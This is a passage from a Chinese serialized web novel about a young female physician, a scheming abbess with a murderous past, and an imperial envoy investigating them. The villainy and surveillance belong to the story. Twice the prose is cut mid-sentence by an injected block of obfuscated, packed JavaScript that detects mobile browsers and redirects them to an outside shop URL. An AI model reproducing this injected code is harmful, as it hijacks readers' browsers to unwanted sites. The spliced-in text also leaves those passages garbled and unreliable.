“你隔壁住着的那个许娇杏，我要她身败名裂，生不如死。”水仙姑一字一句道，“具体怎么做，我会再告诉你。记住，你没有选择的余地。若敢不从，或是耍什么花样……” 她凑近罗玉娘耳边，声音轻得像耳语，却字字诛心：“我不但会把你放火杀人的事捅出去，还会让你那在码头做事的丈夫，让你那如花似玉的女儿，一起陪你下地狱。你说，忠勤伯府若是知道当年的纵火真凶还活着，会怎么对付你和你的家人？” 罗玉娘彻底瘫软，若不是靠着墙，几乎要栽倒在地。 水仙姑看着她绝望的神情，心中那口憋了十年的恶气，终于出了大半。 很好。当年那个卑贱的丫鬟，如今不过仍是她手中的棋子。十年前她能放火烧死那么多人，十年后，自然也能帮她除掉许娇杏这个祸患。 至于事成之后……水仙姑对着铜镜，露出一个阴冷的笑。 她当然不会真的放过罗玉娘。这种知道她太多秘密的人，留着迟早是祸患。等许娇杏的事解决，她自然会想办法，让这位崔娘子意外消失。 就像当年了尘师父那样。 烛火“噼啪”一声，爆开一朵灯花。 水仙姑回过神，看着镜中自己那张在烛光下半明半暗的脸。十年岁月，十年算计，她从京城名妓水娘，变成水月庵的主持水仙姑，手上沾了多少血，害了多少命，她自己都记不清了。 可那又怎样？ 这世道，本就是弱肉强食。心不够狠，手不够辣，就只能被人踩在脚下，像随儿那样，像了尘那样，像那些在水月庵消失的比丘尼那样。 她抚摸着发间的海棠金簪，忽然想起许娇杏那双清澈沉静的眼睛。 那个小贱人，倒是有点意思。身世成谜，医术了得，明明是个孤女，却总能在绝境中翻身。可惜，她不该知道太多不该知道的事，更不该得罪她水仙姑。 “许娇杏……”水仙姑轻声念着这个名字，眼中杀意渐浓。 这次，她不会再失手。 窗外月色渐沉，远处传来隐约的更鼓声。 水仙姑吹熄烛火，禅房陷入一片黑暗。只有那支海棠金簪，在从窗缝漏进的微薄月光下，泛着幽冷的光。 57. 第57章 药材涨价了 柳枝巷在秋日的薄雾中缓缓苏醒。 许娇娇睁开眼时，天光已透过窗纸，在屋内投下柔和的光晕。她静静躺了片刻，听着窗外渐起的市井声响——远处货郎悠长的吆喝，近处井台边妇人们打水时的说笑，还有巷口那家早点铺子炸油条的滋啦声。 一切都和平常一样。 起身梳洗，铜盆里的水映出一张略显苍白的脸。这些日子她睡得并不安稳，梦里总是一片火光，还有水仙姑那双淬毒的眼睛。有时惊醒，她会下意识摸向枕边。那里藏着一把从张记带回来的短小药刀，锋利，足以防身。 静尘和静心已在厨房忙碌。米粥的香气弥漫开来，混合着昨日刘寡妇送的腌菜的咸香。见许娇娇进来，静心笑着招呼：“娇杏，今日粥里加了红枣，给你补补气血。” “谢谢静心。”许娇娇在桌边坐下，接过静尘递来的粥碗。热气氤氲，红枣在米粒间泛着暗红的光泽。 三人默默用着早饭，谁也没提昨日巷口见到的事。 饭后，许娇娇准备去张记生药铺。她将药箱仔细检查了一遍：银针、常用药材、止血药粉，还有那几本随身携带的医书笔记。最后，她把药刀用布包好，仔细塞进药箱夹层。 静心一直在一旁看着，忽然瘪了瘪嘴：“前些日子，张记生怕你影响了生意，你主动提出休息，他们二话不说就应了。如今遭了水患，缺人手了，才又想起叫你去坐诊……我总觉得，他们这么做不太厚道。” “静心，”静尘脸色微沉，“别这样说话。无论如何，张记对我们有恩。就算他们真有顾虑，也是人之常情。” “师姐说得对。”许娇娇放下药箱，转身握住静心的手，声音温和却认真，“静心师姐，在我最难的时候，是张伯和王婶伸手帮了我。我能走到今天，多亏了他们。之前那件事闹得那么大，铺子生意受了影响，他们也没赶我走。就算真赶了，我也绝无怨言。人不能忘本。” 她顿了顿，语气更软了些：“我知道你是为我着想，心里记着我的好。可这样的话，以后咱们不提了，万一传到张伯他们耳朵里，反倒伤感情。” 静心低下头，手指绞着衣角，小声说：“我知道了……娇杏，是我想岔了，对不住。” “没事的。”许娇娇拍了拍她的手，背起药箱。 “娇杏，”静尘送她到门边，压低声音，“今日早些回来。我这儿……总觉得心里不踏实。” 娇娇握住她的手：“师姐别担心，我会小心的。”又放低声音：“你们也留意隔壁的动静。” 静尘点头。用眼神暗示她放心。 走出院门时，许娇娇刻意放慢脚步。隔壁崔家静悄悄的，门窗紧闭，听不见任何动静。她目光扫过门楣。那里挂着一块簇新的桃木符，朱砂画的符咒在晨光中泛着暗红的光泽。江南人家信这个，求个家宅平安，本不稀奇。可崔家搬来不过两月，这符却新得刺眼，像是近日才挂上去的。 许娇娇心里记下这个细节，转身往巷口走去。 行至巷中段，正巧遇见刘寡妇提着菜篮子从另一头过来。两人打了个照面，刘寡妇眼睛一亮：“许娘子，这么早去铺子？” “刘婶早。”许娇娇含笑招呼，目光落在她篮子里——新鲜的青菜、豆腐，还有一条用草绳串着的鲫鱼，“今日菜市鱼新鲜？” “可不是！”刘寡妇来了谈兴，“说是太湖刚捞上来的，活蹦乱跳。我买了一条，给阿虎炖汤补身子。这孩子前些日子吓着了，夜里总睡不踏实。” 说着，她忽然压低声音，凑近些：“哎，你听说了吗？昨儿夜里，崔家好像吵嘴了。” 许娇娇心头一动，面上却不动声色：“哦？怎么回事？” “我也没听真切，”刘寡妇皱着眉，“大概是亥时末，我起夜，隐约听见隔壁有摔东西的声音，还有崔家娘子压着嗓子哭。后来就没声了。今早我看崔掌柜出门时，脸色铁青，招呼都没打就走了。” 她顿了顿，叹口气：“这夫妻俩，瞧着都是和气人，怎么关起门来……唉，也是，谁家没本难念的经。” 许娇娇默默听着，脑海中浮现昨日崔娘子那双红肿的眼。看来水仙姑的出现，确实给这个看似平静的家庭带来了风暴。 “许是有什么误会吧。”她轻声应和，“过几日就好了。” “但愿吧。”刘寡妇摇摇头，忽然想起什么，“对了，许娘子，你医术好，有没有安神的方子？阿虎这孩子……” “有的。”许娇娇点头，“我今日从铺子回来，给阿虎带些酸枣仁和百合，煮水喝，宁心安神。” 刘寡妇千恩万谢，两人又说了几句，便在巷口分手。 许娇娇走出柳枝巷，融入渐渐热闹起来的街市。秋日的阳光暖暖地洒在身上，她心里装着事，也没有感觉到秋阳的温暖，崔娘子和水仙姑相遇的那一幕始终出现在她脑中，这种被人暗中算计的感觉真被动。 走到张记药铺时，铺子已经开了门。 陈平正拿着扫帚清扫门口，见她来了，憨厚地笑笑：“许娘子早。” “陈大哥早。”许娇娇走进铺子，药香扑面而来。 经过水灾后的整顿，张记虽不复往日气派，却也收拾得整洁有序。药柜重新漆过，抽屉上贴着新写的药材标签。柜台换了新的，木料虽普通，但打磨得光滑平整。堂中那面“妙手回春”的匾额也修补好了，重新挂回原处，只是边角处还能看到修补的痕迹。 王氏正在柜台后整理账册，见她进来，笑着招呼：“娇杏来了。吃过早饭没？灶上还温着粥。” “吃过了，谢谢王婶。”许娇娇放下药箱，“张伯呢？” “在后院和廖大夫说话呢。”王氏压低声音，“好像是关于药材价格的事。这几日又涨了，尤其是黄连、金银花这些清热解毒的，价格翻了一倍还不止。” 许娇娇蹙眉。灾后药材涨价是意料之中，可如此暴涨，恐怕不单是天灾的缘故。 正说着，张东家和廖大夫从后堂出来。两人脸色都不太好看，见到许娇娇，张东家勉强挤出笑容：“娇杏来了。” “张伯，廖大夫。”许娇娇上前见礼，“可是药材的事？” 张东家长叹一声，将手中的单子递给她：“你看看。这是陈平今早从几个相熟的药材行打听来的价。往年这时节，正是药材丰收的时候，价格本该平稳。可今年……” 许娇娇接过单子细看，越看心越沉。常用药材普遍涨幅在五成以上，稀缺药材更是翻了两三倍。其中几味防治疫病的关键药材，价格高得离谱。 “这不对劲。”她抬起头，“就算水灾影响了收成，也不该涨到这个程度。” 廖大夫捻着胡须，沉声道：“老夫也觉得蹊跷。私下打听，说是庆和堂那边最近在大肆收购药材，有多少收多少，把市面上的存货扫了个七七八八。” “庆和堂？”许娇娇心头一动。 “正是。”张东家脸色难看，“庆和堂是归平县王大官人的产业，在江南道有十几家分号。背后据说还有官面上的关系。他们若有意囤货抬价，咱们这些小铺子根本无力抗衡。我托人去问过，说是庆和堂放话出来，以后江南道的药材买卖，都得经过他们的手。” 许娇娇沉默。又是他们，这王大官人和水仙姑就像是悬在她头顶的阴云，阴魂不散。 那咱们怎么办？”王氏忧心忡忡走过来，“库里存货不多了，照这个价格，根本进不起货。可铺子不能不开，老主顾们还指着咱们呢。这几日已经有好几个熟客来问，说怎么常用药都缺货……” 张东家背着手踱了几步，忽然看向许娇娇：“娇杏，我记得你前些日子提过，认识些山里的药农？” 许娇娇点头：“是，落溪村那边有几个相熟的药农，往年常给归平县和镇上的一些小药铺供写山货。只是水灾后山路难行，不知他们情况如何。是否还有存货。” “如此，”张东家沉吟道，“你写封信，托人带去问问。若是他们手里还有存货，咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289839|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们直接收购，价格可以比市价高一成。一来帮衬乡亲，二来也能解燃眉之急。” “好，我今日就写信。”许娇娇应下。 廖大夫这时开口道：“此外，咱们也得调整方子。一些价格飞涨的药材，看看能否用功效相近、价格便宜的替代。治病救人固然要紧，可若药材成本太高，铺子撑不下去，反而谁都救不了。” “廖大夫说得在理。”张东家点头，“只是这替换药材的事，需得谨慎，万不能因省钱而误了疗效，坏了张记的名声。” 许娇娇思索片刻，道：“张伯，廖大夫，我这几日翻阅医书，倒有些想法。比如黄连价高，有些方子或可用黄柏替代，虽清热之力稍逊，但配伍得当，亦能收效。金银花价昂，可部分用连翘、蒲公英代替。还有一些地方常见的草药，如马齿苋、车前草，虽不如名贵药材药力迅猛，但胜在易得价廉，用于轻症或预防，也是好的。” 廖大夫眼睛一亮：“许娘子此言甚是！老夫行医多年，也深知民间有许多土方验方，用药寻常却颇具奇效。如今非常之时，或可斟酌采用。” 几人又商议了一番，定下几味可以替换的药材。许娇娇拿出随身带的医书笔记，与廖大夫逐一核对药性、用量、配伍禁忌，确保替代方案安全有效。张东家在一旁听着，不时点头，紧锁的眉头终于稍稍舒展。 这一忙，就到了午时。 王氏煮了面，几人简单用过，便各忙各的。下午陆续有病人上门，多是灾后调理、或是旧疾复发。许娇娇和廖大夫轮流坐诊，开方时都尽量选用价格尚可承受的药材，若遇必需用贵价药的重症，也会向病家说明情况，让人心中有数。 申时初，病人少了些。许娇娇得了空，坐在柜台旁，提笔给落溪村的药农写信。她先问了乡亲们的安好，提及水灾可曾波及村落，然后才委婉打听药材的事，言明张记愿以公道价格收购。 笔尖在纸上沙沙作响，她写着写着，心思却飘远了。 落溪村……那个她出生、又被迫离开的地方。村口的歪脖子老槐树，夏日里蝉鸣震天；后山那条蜿蜒的小径，两旁长满了野菊和蒲公英；村西头李阿婆家的土坯房……李阿婆还好吗？那个在她父母双亡后，偷偷收留她照顾她的老妇人，她如今还好吗？ 她忽然很想回去看看。不是现在，等一切尘埃落定，等水仙姑的威胁解除，她要回去，给父母扫墓，给李阿婆磕个头。 “娇杏？” 王氏的声音将她从回忆中唤醒。许娇娇抬头，见王氏端着一杯茶放在她手边：“写累了吧？歇歇眼睛。” “谢谢王婶。”许娇娇接过茶，温热透过粗瓷杯壁传到掌心。 “想什么呢！这么入神？”王氏温和地问。 “没想什么，只是忽然想到了一味药。”许娇娇回过神笑了笑。 “累了就歇歇。” 正说着，门外进来一个中年汉子，穿着短打，裤腿上沾着泥点，面色焦急：“大夫，大夫在吗？我家婆娘肚子疼得厉害！” 许娇娇立刻起身：“这边请。廖大夫在后堂，我这就去请他。” 忙碌又起。等诊治完这个急症病人，已是酉时末。天色渐暗，街面上铺子陆续点上灯。 许娇娇收拾好药箱，与张东家、廖大夫告辞。 张东家送她到门口，低声道：“信写好了就交给陈平，让他明日一早去。娇杏，铺子如今艰难，多亏了你和廖大夫撑着。” “张伯言重了，这是应当的。”许娇娇福了一礼，“您也早些歇息，莫要太过忧心。车到山前必有路。” 走出铺子，秋夜的凉风扑面而来。许娇娇紧了紧衣襟，提着灯笼往柳枝巷走。 街道两旁的灯火次第亮起，炊烟袅袅，饭香四溢。疲惫了一日的人们归家，孩童的嬉闹声从巷弄深处传来，夹杂着母亲唤儿吃饭的吆喝。 这寻常的、琐碎的、充满烟火气的景象，让许娇娇心中那点因阴谋算计而生的寒意，慢慢被熨帖。 58. 第58章 盯梢 暮色将合未合，菰城街巷间渐次亮起星星点点的灯火。 许娇娇提着药箱从张记生药铺出来时，西边的云霞正烧成一片温润的橘红。秋日的黄昏褪去了夏日的燥烈，风从街口吹来，带着河水退尽后草木复苏的清苦气息。 她沿着熟悉的街道往柳枝巷走，脚步比平日慢了些。药铺里忙了一整日，肩颈有些僵，但心里更沉的，是白日里那些盘旋不去的念头。 正思忖间，街边卖馄饨的刘三娘从热气腾腾的锅边抬起头，扬声招呼：“哟，小许大夫下工啦？” 许娇娇回神，弯起唇角：“三娘好生意。” “托您的福！”刘三娘麻利地捞起一笊篱馄饨，白胖的面皮在沸水里翻滚，“今儿个包了鲜肉馅的，给您下一碗尝尝？不收钱！” “三娘莫客气，刚在铺里用过了。”许娇娇笑着摆手。 话音未落，旁边干货铺的周掌柜探出头来，手里还捏着记账的毛笔：“小许大夫，我家那小子这几日咳得轻多了，按您说的方子，又去抓了两剂，真是多谢您！” “周掌柜客气，孩子底子好，将养几日便无碍了。” 一路行去，这样的招呼声此起彼伏。卖菜的陈婆子隔着半个摊位扯着嗓子道辛苦，布庄的周娘子从柜台后探身含笑点头，就连往日不大说话的打铁匠老郑，也从火星四溅的铺子里抬起汗涔涔的脸，瓮声瓮气地说了句“小许大夫慢走”。 许娇娇一一颔首回应，心头淌过一股温热的细流。这些面孔，这场水患前不过是点头之交，甚至有人曾因那些谣言对她侧目而视。可如今，每一句问候里都是实打实的熟稔与敬重。 她忽然想起那日刘寡妇说的话——人心所向。 但行好事莫问前程。脑海里忽然蹦出前世的这句话。她暗自抿唇笑了笑。 行至东门瓦子的街角，王大郎的面摊子前坐着三五个食客，其中一人身形魁梧，正埋头吃得满头大汗。听见脚步声，那人抬起头来，与许娇娇打了个照面。 “小许大夫！” 李三撂下筷子就站起身，动作太急，险些带翻了条凳。他顾不得扶，三两步跨到许娇娇跟前，一双粗糙的大手不知往哪儿放，只在衣襟上反复蹭着。 “您、您下工了？”他瓮声道，眼里闪着几分局促的亮光。 许娇娇微微一怔，随即认出他来。东门瓦子一带的闲汉头目，手下管着十几个专在各处酒楼茶坊帮闲跑腿的兄弟。水患时，他那位相依为命的兄长病倒在仁心堂，上吐下泻，眼瞅着就不成了。是她守了整整一夜，用补液的法子吊住那口气，等来了药材。 “李三哥。”她温声道，“令兄身子可大好了？” “好了好了，全好了！”李三连连点头，声音不自觉地拔高，“前几日都能下地走动了，今儿个还念叨，说等利索了，要亲自去柳枝巷给您磕头！” “使不得。”许娇娇忙道，“病后需静养，切莫劳动。” “您放心，我拘着他呢。”李三憨厚地笑笑，搓了搓手，忽然正色起来，压低声音，“小许大夫，有句话……我搁在心里好些日子了。” 他抬眼，目光直直看向许娇娇，没有半分闲汉惯有的油滑，只有一腔赤诚的热意：“这回水患，我哥那条命是您捡回来的。我李三没读过书，也不懂什么大道理，可谁对我有恩，我记一辈子。”他顿了顿，喉头滚动，“小许大夫往后有什么事，尽管吩咐。赴汤蹈火，在所不惜。” 许娇娇看着眼前这张被风吹日晒磨得粗糙的脸，心头微震。那目光太直白，没有任何修饰，却重逾千斤。 她没有推辞客气。 “李三哥。”她轻轻开口，声音压得极低，“眼下……倒真有一事，想劳烦你。” 李三眼睛一亮，整个人都往前倾了倾：“您说！” 许娇娇四下一望。面摊上其他食客正埋头吃喝，无人留意这角落。她往阴影里挪了半步，李三会意，立刻跟上来，侧耳倾听。 “柳枝巷东头，水井旁那户崔家，你可有印象？” 李三凝神想了想：“白墙黑瓦那户？崔掌柜在码头朱记绸缎庄做二掌柜，娘子姓罗，有个闺女。搬来不到三月。”他顿了顿，“他家怎么了？” 许娇娇没有立刻回答。她看着李三，目光平静，却带着前所未有的郑重。 “我想劳烦李三哥和兄弟们，帮我盯着这户人家。”她一字一句道，“白日里谁来过、夜里可有人出入、崔娘子与什么人来往，事无巨细，都替我记下。” 李三瞳孔微微一缩，却没有追问缘由。他只重重点头：“成。” “这事需得隐秘。”许娇娇又道，“崔娘子……或许有些不同寻常的牵扯。盯梢的人要格外小心，切莫打草惊蛇。多找几个靠得住的兄弟，轮换着来，莫教人起疑。” “您放心。”李三低声道，“我手下有七八个弟兄，嘴严腿快，各条街巷都熟。盯个人，神不知鬼不觉。” 许娇娇从袖中摸出一个青布小包，递过去。李三下意识要推，却被她按住手背。 “这是五百文。”许娇娇声音平静，却不容推拒，“不是谢仪，是给兄弟们买酒驱寒的。夜里风凉，不能让大家白辛苦。” 李三攥着那布包，指节泛白，半晌说不出话。问百问，抵得上寻常人家的小半个月的嚼用。他喉头滚动，最后只重重“嗳”了一声，将那布包塞进怀里，贴肉放着。 “小许大夫，”他抬头，眼眶微红，“您这份情，我记下了。” 许娇娇轻轻摇头：“是我该谢你们。” 她又叮嘱了几句，将崔娘子的体貌特征、日常出入的大致时辰一一告知。李三听得仔细，不住点头，口中默念，似是强行记下。 暮色愈发浓了。面摊的灯笼已点起，昏黄的光晕在秋风里轻轻摇晃。 “小许大夫，”李三最后低声道，“您自个儿也千万当心。” 许娇娇颔首，提起药箱，转身往柳枝巷走去。 走出十余步，她忍不住回头。李三还站在原地，魁梧的身形半隐在面摊的烟气里，正将那个青布小包又往里掖了掖。 她收回目光，加快了脚步。 巷口的风比街上更凉了些，带着深秋特有的萧索。许娇娇紧了紧衣襟，刚要拐进柳枝巷，余光却忽然捕捉到一处异样—— 巷口斜对面，孙氏杂货铺旁的那株老槐树树下，不知何时多了个卖炒栗子的小贩。 这本身没什么稀奇。入秋后，菰城街巷卖栗子、卖柿饼的担子多如牛毛。可这小贩的栗炉子支得忒偏，几乎贴着树身，人坐在阴影里，面目都看不真切。他并不吆喝，只偶尔拿火箸拨弄两下炉灰，目光却时不时往巷子深处瞟。 许娇娇脚步不停，神色如常地拐进巷子，心跳却悄悄加快了几拍。 她想起崔家新挂的那块桃木符，想起刘寡妇说的“夜里有人看见黑影”，想起昨日巷口水仙姑塞进崔娘子手中的布包。 这巷子，怕是被人盯上了。 又或者，被盯上的人，本就是她。 她稳住心神，推开院门。 静尘正坐在廊檐下就着天光缝补一件旧衫，见她进来，抬头露出温婉笑意：“回来了？灶上温着粥。” “嗯。”许娇娇闩好门，走到静尘身边，低声道，“师姐，隔壁今日可有动静？” 静尘手中针线一顿，压低声音：“午后崔娘子出去了一趟，约莫半个时辰。回来时脸色不大好，手里多了个油纸包，看不真切是什么。傍晚崔掌柜回来，两人……似乎又拌了嘴，隔着墙隐约听见几句，崔娘子像是哭了。” 许娇娇沉默片刻，轻轻点头。 夜渐深。柳枝巷沉入寂静，只有秋虫唧唧，在墙根下不知疲倦地吟唱。 许娇娇躺在榻上，睁眼望着帐顶。隔壁崔家早已没了动静，连灯火都熄了。可她睡不着。 五百文。她心里默默算着。张记灾后生意清淡，沈家那二十两银子，她留了十两给铺子周转，手头本就紧巴。这五百文是静尘从压箱底的私房里匀出来的，她说“这是救人积德的事，比供在菩萨跟前还灵”。 她翻了个身，闭上眼。眼前却浮起李三那张被炉火映红的脸。 “赴汤蹈火，在所不惜。” 她不是没有利用这些人的感激。可她没有别的法子。她一个孤女，没有家世，没有靠山，她能倚仗的，只有这些市井间最朴素的义气。 隔壁隐隐传来一声极轻的响动，像是有人翻身，又像是梦里叹息。 许娇娇睁开眼，静静听着。 更深夜重，菰城北街钦差行辕的灯刚刚亮起。 长风推门而入，烛火微微一跳。 “郎主。” 长风手中捏着一份密报。“这是早上收到的密报。” 裴宴这几日连日忙着，刚回到钦差行辕，披风都没来得及解，肩头还带着入夜后的寒意。裴宴坐定后，示意长风接着说。 长风会意，接着道：“昨日申时末，崔旺的浑家崔娘子在城西观音桥巷口与一名中年尼姑会面。尼姑年约三旬有余，操京城口音，体态与归平县水月庵主持水仙姑特征相符。 裴宴目光微凝。让长风接着往下说。 ”她们会面约一刻钟。崔娘子离开时，袖中似乎多了物事。那尼姑随后往南门方向去了，属下已着人暗中跟缀。” “崔旺呢？” “崔旺今日未时与王兆仁在码头德胜茶坊私会。王兆仁离开后，崔旺又在茶坊独坐许久，神色惶遽。”长风顿了顿，“另外，郎主先前吩咐查的王兆仁近日行踪，属下已理出脉络。王兆仁这半月频繁出入城南一处私宅，宅主姓朱，表面经营绸缎庄，实则与崔琰门下的几个幕僚都有往来。” 裴宴未置可否，指尖在案上轻轻叩了两下。 长风等了等，见他没有别的吩咐，正要告退，忽然想起一事，脚步一顿。 “郎主，还有桩小事……”他微微蹙眉，“盯梢的暗线报，今日在崔家附近，发现另有一拨人也在盯着崔家。” 裴宴叩击案几的指尖骤然停住。 “什么人？” “尚未查明。”长风垂首，“对方行事谨慎，皆着常服，白日里扮作挑担货郎、瓦舍闲汉，入夜后便隐在巷口暗处，轮替极有章法。属下今日午后与之碰了个照面，对方似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294395|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎也察觉了咱们的人，立刻撤了半个时辰。”他顿了顿，“不是官府的路数。” 裴宴沉默片刻，眼底掠过一丝极淡的异色。 “明日之前，”他开口，声音不高，却带着不容置喙的冷峻，“我要知道那拨人是谁遣的。” “是。” 长风退下。烛火又跳了一下，在裴宴面上投下细微的明暗。 他垂眸看向案上摊开的密报，墨迹工整，是长风亲笔誊录的崔旺近日行踪。可那行文字却怎么也进不了脑子里，只有长风方才那句话反复回旋—— “另有一拨人也在盯着崔家。” 不是官府的路数。 裴宴搁下密报，起身走到窗前。夜色如墨，远处菰城街巷的轮廓在月光下模糊成一片。他想起那日仁心堂草棚里，她为沈谦诊脉时低垂的侧脸，想起她递来口罩时指尖不经意触到他颈侧的温度，想起她站在官船舱内，迎着那些质疑的目光，声音清晰而坚定，“民女不敢妄言十成把握。” 她那时眼底有火，灼得他移不开目光。 裴宴闭上眼，抬手按了按眉心。崔旺、王兆仁、崔琰——这条线他查了数月，每一步都如履薄冰。如今密旨又至，圣意难测，他身处漩涡中心，任何差池都可能前功尽弃。 他不该分心。 可那拨人是谁遣的，这念头像一枚细小的刺，扎进皮肉里，不致命，却时时提醒它的存在。 次日午后，长风带回答案。 “郎主，查清了。”他垂首，语气里带着一丝难以察觉的复杂，“那拨人是……东门瓦子闲汉头目李三的手下。李三受人所托，盯着崔家。” 裴宴执笔的手微微一顿。他没有抬头，声音仍是惯常的冷峻：“受谁所托？” 长风沉默了一瞬。 “张记生药铺坐诊女医，许娘子。” 笔尖停在纸上，洇开一小团墨。 裴宴没有说话。长风垂首静立，不敢抬眼。 良久，裴宴搁下笔。他低头看着那份被墨迹污了的文书，半晌，淡淡道：“知道了。下去吧。” 长风领命退下。书房门阖上的轻响在寂静中格外清晰。 裴宴靠在椅背，闭目片刻。 他忽然想起那日官船之上，沈谦问她“日后有何打算”，她答“民女没想过那么远”时，面上那一闪而过的茫然。 她没想过那么远。 可她却想得到雇闲汉盯人。 她一个女子，在这座刚刚经历过水患疫病的城池里，无亲无故，无依无靠。她不知道自己面对的是谁，不知道崔家背后牵扯着什么，她只是凭着直觉和那一腔不肯熄灭的火，在这漩涡中心小心翼翼铺开自己那张微薄的网。 五百文。 裴宴睁开眼，目光落向窗外。秋阳正盛，院中那棵老槐树的叶子已开始泛黄，风过时沙沙作响。 他忽然想知道，她给李三那五百文时，用的是怎样的神情。 …… 暮色再次降临时，柳枝巷迎来了意料之外的访客。 长风站在许娇娇院门外，叩门三下，不疾不徐。 静尘开的门，见到他，微微一怔。长风拱手为礼，声音不高，却清晰入耳：“静尘师父，郎主差小人来传句话。” 许娇娇从堂屋走出，站在廊檐下，隔着半开的院门与长风对视。她的目光平静，只在最初那一瞬，掠过极细微的意外。 “郎主说，”长风垂眸，语速不快，字字分明，“崔家之事，娘子所托李三，可以撤了。” 许娇娇瞳孔微缩。 长风继续道：“郎主已有部署，近日崔家左近人手混杂，娘子的人若继续留着，恐生不必要的……误会。”他顿了顿，抬眸，与许娇娇目光相接，语气放得更轻，“娘子信不过旁人，郎主说，信他便是。” 晚风穿巷，吹动许娇娇鬓边碎发。 她静静看着长风，长风也静静看着她。廊下那丛月季在暮色里开得正盛，馥郁的香气被风送过来，轻轻笼住两人之间这片刻的寂静。 半晌，许娇娇垂下眼帘。 “劳长风大哥回禀裴安抚，”她轻声道，声音平和，“小女知道了。” 长风颔首，不再多言，转身欲要离去。 “等等。”许娇娇忽然开口叫住了他。 长风转身，“娘子可还有事？ 许娇娇沉默良久，久到长风以为他刚才误听了。半晌许娇娇方道：“麻烦长风大哥给裴安抚带句话，就说我有要事和裴安抚说，还请裴安抚拨冗一见。” 看着眼前的院门缓缓阖上。静尘站在许娇娇身后，欲言又止。 许娇娇没有回头。她望着门板上那细细的木纹，她这个冲动的想法也不知道对不对，但是开弓没有回头箭，罢了，既然已经说出口，就没必要再纠结。 他什么也没问。他不问她为何要盯崔家，不问她从何得知崔家可疑，他只是用他那冷峻得不近人情的语调，让长风传来那一句—— “信他便是。” 许娇娇忽然轻轻弯了一下唇角。 夜风渐起，秋虫唧唧。柳枝巷沉入又一片安静的夜色。 59. 第59章 京城翠玉楼 第二日，许娇娇找了个借口让李三将人都撤了，李三忙将那五百文钱要还给许娇娇，许娇娇急忙制止，又说了许多的安慰的话，李三感激不尽连连道谢，又说往后有事只管寻他们兄弟，必不负娘子所托。 日子似乎又回到了之前那种生活，早上到张记坐诊，傍晚回家。不过，许娇娇心中一直记挂着让长风带话给裴宴的事，也不知是长风没有带到还是忘记了。总之好几天了，也没个消息。 且说钦差大人裴宴。自从水患疫病解除后，他每日忙着江南道各地上报的水患损失、人员伤亡、堤坝加固、屋舍修葺等事宜，跟个陀螺似的。好容易忙完这些上报给朝廷。他心中还揣着那密旨，前些日子他暗中将调查的任务分配给下面的人。今日，他和几个幕僚下属们议事，简单吃了点吃食后，又召集他们商议。眼看夜已深。钦差行辕还灯火通明。 法曹参军赵明远与裴宴的亲信幕僚赵先生争论正酣，裴宴靠在椅背上，指尖有一搭没一搭地敲着桌面。嗡嗡的议论声吵得他额角发胀，他瞥向静坐一旁的王武——这位殿前司都头是陛下特意指派来护卫他的，一路沉默，却让人安心。 门外传来护卫的禀报：“虞候秦海求见。” 裴宴精神一振：“让他进来。” 长风上前拉开门。秦海一身夜行衣沾着露水踏入，脸上却透着压抑不住的兴奋。 “郎主，查到了。”他从怀中取出一卷誊抄的旧档，双手呈上，“归平县水月庵那位水仙姑，还有柳枝巷的崔娘子，根底……确实在京城。” 长风接过卷宗递给裴宴。纸页泛黄，字迹潦草，显是匆忙抄录所致。 “十年前，京城崇文门外瓦子巷有家翠玉楼，是当时最红的勾栏。”秦海压低声音，字字清晰，“楼中有位头牌花魁，艺名水娘，年方十八，色艺双绝，尤擅琵琶。一曲《念娇奴》能引得满堂掷金如雨。” 裴宴目光落在“水娘”二字上，指尖无声地叩了叩纸面。 “那时翠玉楼里还有个伺候水娘的小丫鬟，叫玉儿，后来老鸨给她改了名，唤作玉娘。”秦海继续道，“按年纪算，当时玉娘不过十三四岁。” “说下去。” 秦海吸了口气，声音压得更低：“变故出在景和十年腊月二十三，小年夜。那晚，忠勤伯府嫡长子戴明书去了翠玉楼。” 听到忠勤伯府，裴宴眉头微蹙。戴家虽非顶级权贵，在京城却也有头有脸，更重要的是，戴明书有位胞姐在宫中为嫔，虽不得盛宠，却也无人敢轻易招惹。 “这戴明书，”秦海语气里带出嫌恶，“名号文气，相貌也算清秀，只是性情暴虐，尤好折磨女子。京中勾栏暗地里都怕他，但碍于伯府之势与宫里的娘娘，无人敢得罪。那晚他指名要水娘作陪，老鸨收了五百两银子，不敢不答应。” 烛火“噼啪”爆了个灯花，映得裴宴半张脸隐在暗处。 “水娘不愿，可娼籍之身，由不得自己。她被送进了戴明书的房间。”秦海顿了顿，“那一夜……翠玉楼起了大火。火从戴明书所在的二楼雅间听雨轩烧起，迅速蔓延。五城兵马司赶到时，大半个楼已化为灰烬。清点尸体时，在听雨轩废墟里发现两具紧缠的焦尸。一具身形与戴明书相符，怀中玉玦可证身份；另一具，从残存的衣物首饰看，应是水娘。” 裴宴抬眼：“确定是水娘？” “当时官府是这么定案的。”秦海道，“但蹊跷的是，清点人数时少了两人。一个是伺候水娘的丫鬟玉娘，活不见人，死不见尸。另一个是后院有些傻气的粗使丫鬟，叫随儿——据说那晚有人见她从角门出去，再没回来。一个傻丫鬟，也没人在意。” “一夜之间两人失踪，戴家能罢休？” 